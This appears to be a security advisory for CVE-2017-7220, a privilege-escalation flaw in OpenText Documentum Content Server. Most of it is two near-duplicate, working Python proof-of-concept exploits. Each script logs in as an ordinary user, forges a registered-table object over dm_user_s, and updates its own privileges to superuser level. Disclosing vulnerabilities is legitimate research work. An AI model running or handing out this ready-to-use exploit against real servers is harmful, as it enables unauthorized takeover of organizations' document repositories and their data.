CVE Identifier: CVE-2017-7220 Vendor: OpenText Affected products: OpenText Documentum Content Server (all versions) Researcher: Andrey B. Panfilov Severity Rating: CVSS v3 Base Score: 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Fix: not available PoC: https://gist.github.com/andreybpanfilov/d8792484e13971982c0719ae59ab8c7c https://gist.github.com/andreybpanfilov/e0e60ae9d525a34cca04eb4c89a21e04 Description: Initially this vulnerability was discovered in 2013 and was tracked by CERT/CC as VRF#HUFG9EBA (https://www.kb.cert.org/vuls/id/315340), vendor had undertaken a couple of attempts to remediate security flaw (see CVE-2014-2514 and http://seclists.org/bugtraq/2015/Aug/111 for complete description), but all of them was wrong. The issue still persists in all versions of Documentum Content Server. __ Regards, Andrey B. Panfilov
#!/usr/bin/env python import socket import sys from os.path import basename from dctmpy.docbaseclient import DocbaseClient from dctmpy.obj.typedobject import TypedObject CIPHERS = "ALL:aNULL:!eNULL" def usage(): print "usage:\n\t%s host port user password" % basename(sys.argv[0]) def main(): if len(sys.argv) != 5: usage() exit(1) print "Trying to connect to %s:%s as %s ..." % (sys.argv[1], sys.argv[2], sys.argv[3]) (session, docbase) = create_session(*sys.argv[1:5]) if is_super_user(session): print "Current user is a superuser, nothing to do" exit(1) print "Acquiring ID for malicious object ..." id = session.next_id(25) print "Acquired %s\nTrying to create following malicious object:" % id obj = TypedObject(session=session) obj.set_string("OBJECT_TYPE", "DM_REGISTERED") obj.set_bool("IS_NEW_OBJECT", True) obj.set_int("i_vstamp", 0) obj.set_string("table_name", "dm_user_s") obj.set_string("table_owner", docbase) obj.set_string("owner_name", docbase) obj.set_int("world_permit", 7) obj.set_string("object_name", "dm_user_s") obj.set_string("r_object_type", "dm_registered") obj.set_int("owner_table_permit", 15) obj.set_int("group_table_permit", 15) obj.set_int("world_table_permit", 15) print obj.dump() r = session.sys_obj_save(id, obj) if not r: print "Failed" exit(1) print "Becoming superuser..." r = session.query( "UPDATE dm_dbo.dm_user_s SET user_privileges=16 " "WHERE user_name=USER") \ .next_record()['rows_updated'] if r != 1: print "Failed" exit(1) print "P0wned!" def create_session(host, port, user, pwd, identity=None): print "Trying to connect to %s:%s as %s ..." % \ (host, port, user) session = None try: session = DocbaseClient( host=host, port=int(port), username=user, password=pwd, identity=identity) except socket.error, e: if e.errno == 54: session = DocbaseClient( host=host, port=int(port), username=user, password=pwd, identity=identity, secure=True, ciphers=CIPHERS) else: raise e docbase = session.docbaseconfig['object_name'] version = session.serverconfig['r_server_version'] print "Connected to %s:%s, docbase: %s, version: %s" % \ (host, port, docbase, version) return (session, docbase) def is_super_user(session): user = session.get_by_qualification( "dm_user WHERE user_name=USER") if user['user_privileges'] == 16: return True group = session.get_by_qualification( "dm_group where group_name='dm_superusers' " "AND any i_all_users_names=USER") if group is not None: return True return False if __name__ == '__main__': main()
#!/usr/bin/env python import socket import sys from os.path import basename from dctmpy.docbaseclient import DocbaseClient from dctmpy.obj.typedobject import TypedObject CIPHERS = "ALL:aNULL:!eNULL" def usage(): print "usage:\n\t%s host port user password" % basename(sys.argv[0]) def main(): if len(sys.argv) != 5: usage() exit(1) print "Trying to connect to %s:%s as %s ..." % (sys.argv[1], sys.argv[2], sys.argv[3]) (session, docbase) = create_session(*sys.argv[1:5]) if is_super_user(session): print "Current user is a superuser, nothing to do" exit(1) print "Acquiring ID for malicious object ..." id = session.next_id(0x00) print "Acquired %s\nTrying to create following malicious object:" % id obj = TypedObject(session=session) obj.set_string("OBJECT_TYPE", "dm_registered") obj.set_bool("IS_NEW_OBJECT", True) obj.set_int("i_vstamp", 0) obj.set_string("table_name", "dm_user_s") obj.set_string("table_owner", docbase) obj.set_string("owner_name", docbase) obj.set_int("world_permit", 7) obj.set_string("object_name", "dm_user_s") obj.set_string("r_object_type", "dm_registered") obj.set_int("owner_table_permit", 15) obj.set_int("group_table_permit", 15) obj.set_int("world_table_permit", 15) print obj.dump() if not session.save(id, obj): print "Failed" exit(1) print "Becoming superuser..." r = session.query( "UPDATE dm_dbo.dm_user_s SET " "user_privileges=16 WHERE user_name=USER") \ .next_record()[ 'rows_updated'] if r != 1: print "Failed" exit(1) print "P0wned!" def create_session(host, port, user, pwd, identity=None): print "Trying to connect to %s:%s as %s ..." % \ (host, port, user) session = None try: session = DocbaseClient( host=host, port=int(port), username=user, password=pwd, identity=identity) except socket.error, e: if e.errno == 54: session = DocbaseClient( host=host, port=int(port), username=user, password=pwd, identity=identity, secure=True, ciphers=CIPHERS) else: raise e docbase = session.docbaseconfig['object_name'] version = session.serverconfig['r_server_version'] print "Connected to %s:%s, docbase: %s, version: %s" % \ (host, port, docbase, version) return (session, docbase) def is_super_user(session): user = session.get_by_qualification( "dm_user WHERE user_name=USER") if user['user_privileges'] == 16: return True group = session.get_by_qualification( "dm_group where group_name='dm_superusers' " "AND any i_all_users_names=USER") if group is not None: return True return False if __name__ == '__main__': main()